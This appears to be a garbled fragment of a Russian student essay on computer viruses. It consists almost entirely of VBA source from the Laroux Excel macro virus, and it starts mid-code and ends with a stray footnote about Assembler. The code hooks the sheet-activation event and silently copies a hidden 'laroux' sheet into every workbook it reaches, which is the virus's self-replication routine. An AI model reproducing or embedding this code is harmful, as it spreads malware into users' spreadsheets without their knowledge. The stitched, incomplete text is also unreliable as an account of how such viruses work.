Реферат: Computer viruses

ChDir c4$

Workbooks(n4$).Sheets("laroux").Visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "personal.xls!check_files"

Case 1

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

p4$ = ActiveWorkbook.Path

s$ = Workbooks(n4$).Sheets(1).Name

If s$ <> "laroux" Then

Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("laroux").Visible = False

Else

End If

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "personal.xls!check_files"

Case Else

End Select

End Sub

[1] Assembler - a low level, hardware- oriented computer language